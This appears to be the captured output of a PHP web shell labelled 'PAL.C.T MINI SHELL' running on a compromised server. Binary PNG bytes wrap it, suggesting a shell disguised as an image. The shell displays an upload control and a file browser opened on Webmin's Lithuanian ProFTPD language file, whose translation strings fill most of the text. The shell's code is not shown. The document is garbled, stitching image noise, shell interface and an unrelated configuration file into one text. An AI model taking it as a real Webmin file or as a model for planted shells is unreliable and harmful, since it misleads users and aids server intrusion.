php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/proftpd/lang/
upload
files >> //usr/libexec/webmin/proftpd/lang/lt.auto

index_title=ProFTPD serveris
index_eproftpd=ProFTPD serverio $1 nepavyko rasti jūsų sistemoje. Galbūt jis neįdiegtas, arba jūsų <a href='$2'>modulio konfigūracija</a> yra neteisinga.
index_eproftpd2=Panašu, kad programa $1 nėra „ProFTPD“ serveris. Galbūt jis neįdiegtas, arba jūsų <a href='$2'>modulio konfigūracija</a> yra neteisinga. Komandos $3 išvestis buvo : $4 
index_eversion=„Webmin“ nepalaiko „ProFTPD“ serverio $1 versijos.
index_econf=ProFTPD konfigūracijos failas $1 neegzistuoja arba negalioja. Galbūt jūsų <a href='$2'>modulio konfigūracija</a> yra neteisinga.
index_apply=Taikyti pakeitimus
index_applymsg=Spustelėkite šį mygtuką, norėdami pritaikyti dabartinę konfigūraciją, siųsdami SIGHUP signalą vykstančiam ProFTPD procesui.
index_applymsg2=Spustelėkite šį mygtuką, kad pritaikytumėte dabartinę konfigūraciją sustabdydami ir paleisdami ProFTPD.
index_start=Pradėti serverį
index_startmsg=Spustelėkite šį mygtuką, kad paleistumėte FTP serverį su dabartine konfigūracija. Taip pat galite sukonfigūruoti serverį, kad prireikus jis būtų paleistas automatiškai, naudodamiesi moduliu <a href='$1'>interneto paslaugos</a>.
index_startmsg2=Spustelėkite šį mygtuką, kad paleistumėte FTP serverį su dabartine konfigūracija. Taip pat galite sukonfigūruoti serverį, kad prireikus jis būtų paleistas automatiškai, naudodamas „inetd“ ar kitą lygiavertę programą.
index_stop=Sustabdyti serverį
index_stopmsg=Spustelėkite šį mygtuką, norėdami sustabdyti FTP serverį, kuris neleis prisijungti naujiems FTP klientams.
index_return=Pagrindinis meniu
index_virts=Virtualūs serveriai
index_virt=Virtualusis serveris
index_type=Serverio tipas
index_addr=Adresas
index_name=Serverio pavadinimas
index_port=FTP prievadas
index_defserv=Numatytasis serveris
index_defdesc=Tvarko bet kokius FTP ryšius, netvarkomus virtualiuose serveriuose.
index_any=Bet kokia
index_vdesc=Tvarko visas jungtis su $1 
index_eip=&lt;Nežinoma&gt;
index_global=Visuotinė konfigūracija
index_create=Sukurkite virtualų serverį
index_version=„ProFTPd“ versija $1 
index_proftpd=„ProFTPd“

efailed=Nepavyko išsaugoti $1 

type_0=Tinklo parinktys
type_1=Registravimo parinktys
type_2=Failai ir katalogai
type_3=Prieigos kontrolė
type_4=Įvairūs
type_5=Vartotojas ir grupė
type_6=Autentifikavimas

virt_title=Virtualiojo serverio parinktys
virt_header1=$1 
virt_header2=Numatytasis serveris
virt_header3=$1 parinktys
virt_anon=Anoniminis FTP
virt_header=„Katalogo“ ir „Komandų“ parinktys
virt_dir=Katalogas $1 
virt_limit=$1 komandos
virt_adddir=Pridėti katalogų parinktis ..
virt_addlimit=Pridėti kiekvienos komandos parinktis ..
virt_path=Katalogo kelias
virt_cmds=FTP komandos
virt_return=virtualus serveris
virt_virt=Konfigūruokite virtualųjį serverį
virt_edit=Redaguoti direktyvas

vserv_title=Konfigūruokite virtualųjį serverį
vserv_addr=Adresas
vserv_name=Serverio pavadinimas
vserv_port=FTP prievadas
vserv_delete=Ištrinkite virtualų serverį
vserv_eaddr=Trūksta arba netinkamas adresas
vserv_eport=Trūksta arba netinkamas prievado numeris
vserv_ename=Trūksta serverio pavadinimo

anon_title=Anoniminės FTP parinktys
anon_header1=$1 virtualiame serveryje
anon_header2=Numatytasis serveris
anon_anon=Konfigūruokite anoniminį FTP
anon_return=anoniminės FTP parinktys
anon_header3=Anoniminiam FTP virtualiajame serveryje $1 
anon_header4=Anoniminiam FTP numatytajame serveryje

aserv_title=Konfigūruokite anoniminį FTP
aserv_create=Nustatyti anoniminį FTP
aserv_root=Apriboti iki katalogo
aserv_user=Prieikite prie failų kaip vartotojas
aserv_group=Prieikite prie failų kaip grupė
aserv_err=Nepavyko išsaugoti anoniminio FTP
aserv_eroot=Trūksta arba netinkamas „chroot“ katalogas
aserv_euser=Trūksta arba netinkamas „Unix“ vartotojas
aserv_egroup=Trūksta arba netinkama „Unix“ grupė
aserv_desc=Anoniminis šio virtualiojo serverio FTP dar nebuvo nustatytas. Naudokite šią formą norėdami nustatyti pradines konfigūracijos parinktis.

dir_title=„Katalogų parinktys“
dir_header2=Katalogui $1 numatytajame serveryje
dir_header1=Katalogui $1 virtualiame serveryje $2 
dir_edit=Redaguoti direktyvas
dir_return=kiekvieno katalogo parinktys
dir_header3=$1 parinktys $2 
dir_header=Vieno komandos parinktys
dir_dir=Konfigūruokite katalogą
dir_header4=Katalogui $1 anoniminiame FTP
dir_header5=$1 katalogui visame pasaulyje

manual_title=Redaguoti direktyvas
manual_header=Naudokite žemiau esantį teksto lauką, norėdami rankiniu būdu redaguoti ProFTPD direktyvas $1, kurios taikomos šiam virtualiam serveriui, aplankui ar komandoms.
manual_configs=Redaguoti konfigūravimo failus
manual_ecannot=Jums neleidžiama rankiniu būdu redaguoti direktyvų
manual_file=Redaguoti turimas direktyvas:
manual_efile=Netinkamas „ProFTPd“ konfigūracijos failas
manual_etest=Aptikta konfigūracijos failo klaida : $1 

limit_title=Vieno komandos parinktys
limit_header4=Komandoms $1, $2 kataloge
limit_header2=Numatytojo serverio komandoms $1 
limit_header1=$1 komandoms virtualiame serveryje $2 
limit_edit=Redaguoti direktyvas
limit_limit=Konfigūruokite komandas
limit_header3=$1 komandų parinktys $2 
limit_return=už komandą parinktys
limit_header5=Komandoms $1 anoniminiame FTP
limit_header6=Komandoms $1 faile $2 
limit_header7=Komandai $1 visame pasaulyje

lserv_title=Konfigūruokite komandas
lserv_cmd=FTP komandos
lserv_delete=Ištrinti komandas konfig
lserv_err=Nepavyko išsaugoti komandų
lserv_ecmd=Nepasirinkta nė viena komanda

dserv_title=Konfigūruokite katalogą
dserv_dir=Katalogo kelias
dserv_err=Nepavyko išsaugoti katalogo
dserv_edir=Trūksta katalogo kelio
dserv_delete=Ištrinti katalogo konfigūraciją
dserv_eanondir=Katalogas turi būti anoniminiame FTP kataloge

mod_core_type=Serverio tipas
mod_core_inetd=Bėgti nuo „Inetd“
mod_core_stand=Autonominis demonas
mod_core_port=Klausykite uoste
mod_core_eport=Trūksta arba netinkamas prievado numeris
mod_core_servername=Serverio vardas rodomas vartotojams
mod_core_eservername=Trūksta serverio pavadinimo
mod_core_defaultserver=Naudoti šį virtualų serverį pagal numatytuosius nustatymus?
mod_core_instances=Maksimalus vienu metu vykstančių sesijų skaičius
mod_core_einstances=Trūksta arba netinkamas seansų skaičius
mod_core_umask=Nauja byla umask
mod_core_octal=Aštuonkojo kaukė
mod_core_umask_d=Nauja katalogo kaukė
mod_core_eumask=Trūksta arba netinkamas umask
mod_core_user=Vykdyti kaip „Unix“ vartotoją
mod_core_uname=Vartotojo vardas
mod_core_uid=UID
mod_core_group=Vykdyti kaip „Unix“ grupę
mod_core_gname=Grupės pavadinimas
mod_core_gid=GID
mod_core_tlog=FTP perduoda logfile
mod_core_nowhere=Registracija neleidžiama
mod_core_etlog=Trūksta arba netinkamas perkėlimo žurnalo failas
mod_core_accessdeny=Nepavyko prisijungimo pranešimo
mod_core_accessgrant=Sėkmingas prisijungimo pranešimas
mod_core_adall=Prieigos kontrolės politika
mod_core_addefault=Tas pats, kas tėvas
mod_core_allowall=Leisti visiems klientams
mod_core_denyall=Neigti visų klientų
mod_core_filter=Leidžiamos FTP komandos, atnaujintos
mod_core_foreign=Leisti perduoti duomenis užsienyje?
mod_core_overwrite=Leisti perrašyti failus?
mod_core_restart=Leisti iš naujo paleisti failus?
mod_core_restart2=Leisti iš naujo pradėti įkėlimus?
mod_core_require=Reikalingas slaptažodis anoniminiam prisijungimui?
mod_core_anongroup=Grupės, kurios narius laiko anoniminiais
mod_core_eanongroup=Neįėjo anoniminė grupė
mod_core_authalias=Ar leisti prisijungti tik slapyvardžiu pažymėtiems vartotojams?
mod_core_authusingalias=Naudoti slapyvardžio slaptažodį anoniminiam prisijungimui?
mod_core_bind=Prisijunkite prie adreso
mod_core_bind_all=Visi adresai
mod_core_ebind=Trūksta arba netinkamas įrišimo adresas
mod_core_cdpath=Spartieji kompaktinių diskų katalogai
mod_core_classes=Įgalinti prieigos kontrolės klases?
mod_core_cls=Įėjimo kontrolės klasės
mod_core_cname=Klasės pavadinimas
mod_core_ctype=Tipas ir vertė
mod_core_climit=Maksimalus jungčių skaičius
mod_core_cregex=Kliento pagrindinio kompiuterio vardo atitiktis
mod_core_cip=Kliento IP tinklas/CIDR
mod_core_eclimit=Trūksta arba netinkama maks. Jungtis
mod_core_ecregex=Trūksta kliento pagrindinio kompiuterio vardo atitikties
mod_core_ecip=Trūksta arba netinkamas kliento IP tinklas/CIDR
mod_core_buffer=Maksimalus FTP komandos ilgis
mod_core_ebuffer=Trūksta arba netinkama maksimali komandų trukmė
mod_core_transfer=Numatytasis perdavimo režimas
mod_core_binary=Dvejetainis
mod_core_ascii=ASCII
mod_core_defer=Atidėti pasveikinimo pranešimą iki prisijungimo?
mod_core_aborted=Ištrinti nutrauktus įkėlimus?
mod_core_dfilter=Atmestas FTP komandų atnaujinimas
mod_core_display=Išankstinio prisijungimo pranešimo failas
mod_core_none=Nė vienas
mod_core_edisplay=Trūksta išankstinio prisijungimo pranešimo failo
mod_core_firstcd=Katalogas „README“ failo vardas
mod_core_firstcdt=Visada parodyk
mod_core_efirstcd=Trūksta katalogo „README“ failo vardo
mod_core_goaway=Per daug jungčių pranešimų failo
mod_core_egoaway=Trūksta per daug jungčių failo
mod_core_login=Po prisijungimo žinutės failas
mod_core_elogin=Trūksta prisijungimo pranešimų failo
mod_core_quit=Atsijungimo pranešimo failas
mod_core_equit=Trūksta atsijungimo pranešimo failo
mod_core_gowner=Įkeltų failų grupės savininkas
mod_core_egowner=Trūksta arba netinkama įkeltų failų grupė
mod_core_grouppassword=Grupiniai slaptažodžiai
mod_core_gpname=„Unix“ grupė
mod_core_gppass=Slaptažodis
mod_core_gpdef=Palikite nepakeistą
mod_core_egpname=Netinkamas „Unix“ grupės pavadinimas
mod_core_hstor=Slėpti failus įkeliant?
mod_core_hgroup=Slėpti grupėms priklausančius failus
mod_core_ehgroup=Netinkamas grupės pavadinimas norint paslėpti failus
mod_core_hnoaccess=Slėpti failus, kurių negalima pasiekti?
mod_core_huser=Slėpti vartotojams priklausančius failus
mod_core_ehuser=Netinkamas vartotojo vardas norint paslėpti failus
mod_core_ident=Ieškoti nuotolinio asmens tapatybės vardo?
mod_core_ihidden=Padaryti paslėptus failus neprieinamus?
mod_core_masq=Maskaradas kaip adresas
mod_core_masq_def=Naudokite tikrąjį adresą
mod_core_emasq=Trūksta arba netinkamas maskarados adresas
mod_core_maxc=Maksimalus vienu metu prisijungiančių asmenų skaičius
mod_core_maxc1=Neribota
mod_core_maxcmsg=Prisijungimo klaidos pranešimas
mod_core_emaxc=Trūksta arba netinkamas didžiausias prisijungimų skaičius
mod_core_maxch=Maksimalus vienu metu prisijungusių asmenų priegloba
mod_core_maxcu=Didžiausias vienu metu galiojantis prisijungimas vienam vartotojui
mod_core_logins=Maksimalus nepavykusių prisijungimų skaičius per sesiją
mod_core_elogins=Trūksta arba netinkamas nepavykusių prisijungimų skaičius
mod_core_rfc2228=Siųsti RFC2228 stiliaus atsakymus?
mod_core_pasv=PASV prievadų diapazonas
mod_core_pasvr=Min - maks
mod_core_epasv=Trūksta arba netinkamas PASV prievado numeris
mod_core_pathallow=Leidžiama įkelta failo vardo regex
mod_core_any=Bet kokia
mod_core_pathdeny=Atsisakyta įkeltos failo vardo regex
mod_core_pidfile=Įrašykite PID į failą
mod_core_epidfile=Trūksta arba netinkamas PID failas
mod_core_shell=Ar leisti prisijungti tik vartotojams, turintiems galiojantį apvalkalą?
mod_core_cpulimit=CPU išteklių ribos
mod_core_ecpulimit=CPU išteklių riba
mod_core_memlimit=Atminties išteklių ribos
mod_core_ememlimit=atminties išteklių riba
mod_core_filelimit=Atidaryti failų apribojimai
mod_core_efilelimit=atidarytų failų limitas
mod_core_soft=Švelni riba:
mod_core_hard=Kieta riba:
mod_core_max=Maksimalus
mod_core_esoft=Trūksta arba netinkama programinė įranga $1 
mod_core_ehard=Trūksta arba netinkamas kietas $1 
mod_core_score=Kelias į rezultatų suvestinės katalogą
mod_core_escore=Trūksta arba netinkamas rezultatų suvestinės katalogas
mod_core_admin=Serverio administratoriaus el. Pašto adresas
mod_core_eadmin=Trūksta arba netinkamas el. Pašto adresas
mod_core_identmsg=Kliento prisijungimo pranešimas
mod_core_identmsg_def=Rodyti numatytąjį pranešimą
mod_core_links=Rodyti simbolines nuorodas?
mod_core_tight=Tik jungtis prie reikalingų uostų?
mod_core_facility=Sistemos žurnalo galimybė
mod_core_level=Sistemos žurnalo lygis
mod_core_backlog=TCP atsilikusios eilės ilgis
mod_core_ebacklog=Trūksta arba netinkamos atsilikimo eilės ilgio
mod_core_nodelay=Naudoti TCP_NODELAY lizdo parinktį?
mod_core_rwindow=TCP priėmimo lango dydis
mod_core_erwindow=Trūksta arba netinkamas gavimo lango dydis
mod_core_swindow=TCP siuntimo lango dydis
mod_core_eswindow=Trūksta arba netinkamas siuntimo lango dydis
mod_core_gmt=Rodyti laikus GMT?
mod_core_tidle=Laukimo laikas prieš atjungiant
mod_core_etidle=Trūksta arba netinkamas neveikimo laikas
mod_core_secs=sekundžių
mod_core_tlogin=Laikas laukti patvirtinimo
mod_core_etlogin=Trūksta arba netinkamas autentifikavimo laikas
mod_core_ttransfer=Laikas laukti pirmojo pervedimo
mod_core_ettransfer=Trūksta arba netinkamas pirmasis perdavimo laikas
mod_core_tstalled=Laikas laukti sustabdyto duomenų perdavimo
mod_core_etstalled=Trūksta arba netinkamas sustabdytas perdavimo laikas
mod_core_ftpusers=Atmesti vartotojus faile/etc/ftpusers?
mod_core_hostsallow=Šeimininkai leidžia failą
mod_core_ehostsallow=Kompiuteriai neleidžia failo
mod_core_hostsdeny=Prieglobos failai atmetami
mod_core_ehostsdeny=Kompiuteriai, norintiems atmesti failą, neegzistuoja
mod_core_revdns=Ar atvirkštinė DNS adresų paieška yra kliento adresai?
mod_core_userdir=„Chroot“ į vartotojo vardo pakatalogį?
mod_core_ualias=Vartotojo vardo slapyvardžiai
mod_core_afrom=Prisijungimo vardas
mod_core_ato=Tikras vartotojo vardas
mod_core_eafrom=Neteisingas prisijungimo vardas slapyvardžiu
mod_core_eato=Trūksta arba netinkamas tikrasis vartotojo vardas slapyvardžiu
mod_core_uowner=Įkeltų failų savininkas
mod_core_euowner=Trūksta arba netinkamas įkeltų failų savininkas
mod_core_userpassword=Vartotojo slaptažodžiai yra nepaisomi
mod_core_upname=„Unix“ vartotojas
mod_core_uppass=Slaptažodis
mod_core_updef=Palikite nepakeistą
mod_core_eupname=Neteisingas „Unix“ vartotojo vardas
mod_core_wtmp=Įrašyti prisijungimus wtmp?
mod_core_allow_deny=Apriboti prieigą
mod_core_allowdeny=Leisk tada neigti
mod_core_denyallow=Neleisk tada leisti
mod_core_allow=Leisti
mod_core_deny=Neigti
mod_core_mode_0=Visi
mod_core_mode_1=Nė vienas
mod_core_mode_2=IP adresas
mod_core_mode_3=Tinklas
mod_core_mode_4=Pagrindinio kompiuterio vardas
mod_core_cond=Būklė
mod_core_action=Veiksmas
mod_core_agroup=Leisti tik grupes
mod_core_auser=Leisti tik vartotojams
mod_core_all=Visi
mod_core_dgroup=Neigti grupių
mod_core_duser=Neigti vartotojų
mod_core_eip=„$1“ nėra galiojantis IP adresas
mod_core_enet=„$1“ nėra tinkamas tinklo adresas
mod_core_ehost=„$1“ nėra teisingas pagrindinio kompiuterio vardas

mod_ls_fakegroup=Netikrą grupę katalogų sąrašuose?
mod_ls_fakeuser=Netikras vartotojas katalogų sąrašuose?
mod_ls_fakemode=Suklastoti leidimai katalogų sąrašuose
mod_ls_nofake=Realūs leidimai
mod_ls_efakemode=Padirbti leidimai turi būti aštuonios spalvos
mod_ls_dotfiles=Rodyti failus, prasidedančius raide. aukcionuose?
mod_ls_ls=Papildomos ls galimybės
mod_ls_els=Trūksta papildomų ls variantų
mod_ls_fakeasuser=Taip, kaip vartotojas ..
mod_ls_fakesameuser=Prisijungęs vartotojas
mod_ls_fakeasgroup=Taip, kaip grupė ..
mod_ls_fakesamegroup=Prijungta grupė
mod_ls_efakeuser=Dingęs arba netinkamas netikras vartotojas
mod_ls_efakegroup=Trūksta arba netinkama klastočių grupė
mod_ls_options=Katalogų sąrašo parinktys
mod_ls_strict=Nepaisyti vartotojo parinkčių?

mod_auth_chdir=Pradinis prisijungimo katalogas
mod_auth_echdir=Trūksta arba netinkamas pradinis katalogas
mod_auth_chroot=Ribokite vartotojus iki katalogų
mod_auth_home=Pagrindinis katalogas
mod_auth_none=Nė vienas
mod_auth_dir=Katalogas
mod_auth_groups=„Unix“ grupės
mod_auth_all=Visi
mod_auth_edir=Netinkamas „chroot“ katalogas
mod_auth_egroups=Neįvestos „Unix“ grupės „chroot“
mod_auth_echroot=Trūksta arba netinkamas „chroot“ katalogas
mod_auth_login=Neklauskite slaptažodžio, jei atsisakoma prisijungti?
mod_auth_root=Leisti prisijungti naudojant šaknį?

mod_site_chmod=Leisti chmod komandą?

mod_unixpw_ufile=Alternatyvus „Unix“ slaptažodžio failas
mod_unixpw_eufile=Trūksta arba netinkamas „Unix“ slaptažodžio failas
mod_unixpw_gfile=Alternatyvus „Unix“ grupės failas
mod_unixpw_egfile=Trūksta arba netinkamas „Unix“ grupės failas
mod_unixpw_none=Nė vienas
mod_unixpw_pam=Visada traktuoti PAM kaip autoritetingą?
mod_unixpw_persist=Ar nuolat slaptažodžių failą atidaryti?

mod_log_syslog=Įrašykite klaidas į failą
mod_log_sysdef=Sistemos žurnalas
mod_log_esyslog=Trūksta arba netinkamas žurnalo failas
mod_log_extended=Pasirinktiniai žurnalai
mod_log_file=Logfile
mod_log_cmd=FTP komandoms
mod_log_nick=Žurnalo formatas
mod_log_all=Visi
mod_log_ecmd=Trūksta FTP komandų
mod_log_enick=Trūksta arba netinkamas žurnalo formato pavadinimas
mod_log_ecmdnick=Nurodydami komandas prisijungti, turite įvesti žurnalo formatą
mod_log_nickname=Formato pavadinimas
mod_log_fmt=Formatuoti eilutę
mod_log_format=Pasirinktiniai žurnalo formatai
mod_log_enickname=Trūksta arba netinkamas formato vardas
mod_log_efmt=Trūksta formato eilutės

mod_pam_pam=Naudoti PAM autentifikavimui?
mod_pam_config=Autentifikuokite naudodami PAM paslaugą
mod_pam_econfig=Trūksta arba netinkama PAM paslauga

mod_readme_display=Praneškite vartotojui apie „readme“ failų atitikimą
mod_readme_none=Nė vienas
mod_readme_edisplay=Trūksta „readme“ failų modelio

start_err=Nepavyko paleisti FTP serverio
start_einetd=Negalite paleisti serverio demono, kai įjungtas įvesties režimas.

stop_err=Nepavyko sustabdyti FTP serverio
stop_einetd=Negalite sustabdyti serverio demono, kai įjungtas integruotasis režimas.
stop_erun=Nebėga

apply_err=Nepavyko pritaikyti FTP konfigūracijos
apply_egone=Daugiau nebėga

ftpaccess_title=„Katalogų parinkčių failai“
ftpaccess_desc=Kiekvieno katalogo faile (paprastai vadinama <tt>.ftpaccess</tt>) galima nurodyti papildomas katalogų parinktis. Parinktys taikomos visiems failams, esantiems tame kataloge, ir visiems pakatalogiams, nebent jie būtų pakeisti kitu parinkčių failu.
ftpaccess_create=Sukurti parinkčių failą
ftpaccess_find=Rasti parinkčių failus
ftpaccess_auto=Pagal anonimą
ftpaccess_from=Iš katalogo
ftpaccess_return=parinkčių failų sąrašas

ftpusers_title=Atmesti FTP vartotojai
ftpusers_desc=Jei įjungta po piktograma <tt>Autentifikacija</tt>, žemiau išvardytiems failams iš $1 vartotojams nebus leista prisijungti prie FTP vartotojo.

ftpindex_title=„Katalogo parinkčių failas“
ftpindex_delete=Ištrinti failą
ftpindex_opts=„Katalogų parinktys“
ftpindex_edit=Redaguoti direktyvas
ftpindex_limit=Vieno komandos parinktys
ftpindex_addlimit=Pridėti kiekvienos komandos parinktis ..
ftpindex_header2=$1 $2 
ftpindex_return=katalogų parinkčių failas
ftpindex_header=$1 

find_err=Nepavyko rasti parinkčių failų
find_eanon=Jokiame virtualiame serveryje nenustatyta anoniminė FTP

log_global=Pakeistos visuotinės $1 parinktys
log_ftpusers=Pakeisti atmesti FTP vartotojai
log_virtc=Sukurtas serveris $1 
log_virts=Iš naujo sukonfigūruotas serveris $1 
log_virtd=Ištrintas serveris $1 
log_virtm=Rankiniu būdu redaguojamas serveris $1 
log_virt=$2 pakeista $1 serveryje
log_dirc=Sukurtas katalogas $1 
log_dirc_l=Sukurtas katalogas $1 serveryje $2 
log_dirs=Pakeistas katalogas $1 
log_dirs_l=Pakeistas katalogas $1 serveryje $2 
log_dird=Ištrintas katalogas $1 
log_dird_l=Ištrintas katalogas $1 iš serverio $2 
log_dirm=Rankiniu būdu redaguotas katalogas $1 
log_dirm_l=Rankiniu būdu redaguotas katalogas $1 serveryje $2 
log_dir=$2 pakeista $1 kataloge
log_dir_l=Pakeista $1 aplanke $2 serveryje $3 
log_limitc=Sukurtos vienos komandos parinktys $1 
log_limits=Iš naujo sukonfigūruotos $1 komandos parinktys
log_limitd=Ištrintos $1 komandos parinktys
log_limitm=Rankiniu būdu redaguojamos $1 komandos parinktys
log_limit=Pakeitė $1 vienos komandos parinktyse $2 
log_ftpaccessc=Sukurtas parinkčių failas $1 
log_ftpaccessd=Ištrintas parinkčių failas $1 
log_ftpaccessm=Neautomatiškai suredaguotas parinkčių failas $1 
log_ftpaccess=$1 pakeista parinkčių faile $2 
log_anonc=Nustatykite anoniminį FTP serveriui $1 
log_anons=Iš naujo sukonfigūruotas serverio $1 anoniminis FTP
log_anond=Ištrintas serverio $1 anoniminis FTP
log_anonm=Rankiniu būdu redaguotas serverio $1 anoniminis FTP
log_anon=Pakeistas $1 serverio $2 anoniminiame FTP
log_start=Pradėjo proftpd
log_apply=Taikomi pakeitimai

eafter=Konfigūracijos patvirtinimas nepavyko: $1 pakeitimai neišsaugoti.
proftpd_apply=Taikyti pakeitimus
proftpd_stop=Sustabdykite „ProFTPd“
proftpd_start=Paleiskite „ProFTPd“
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`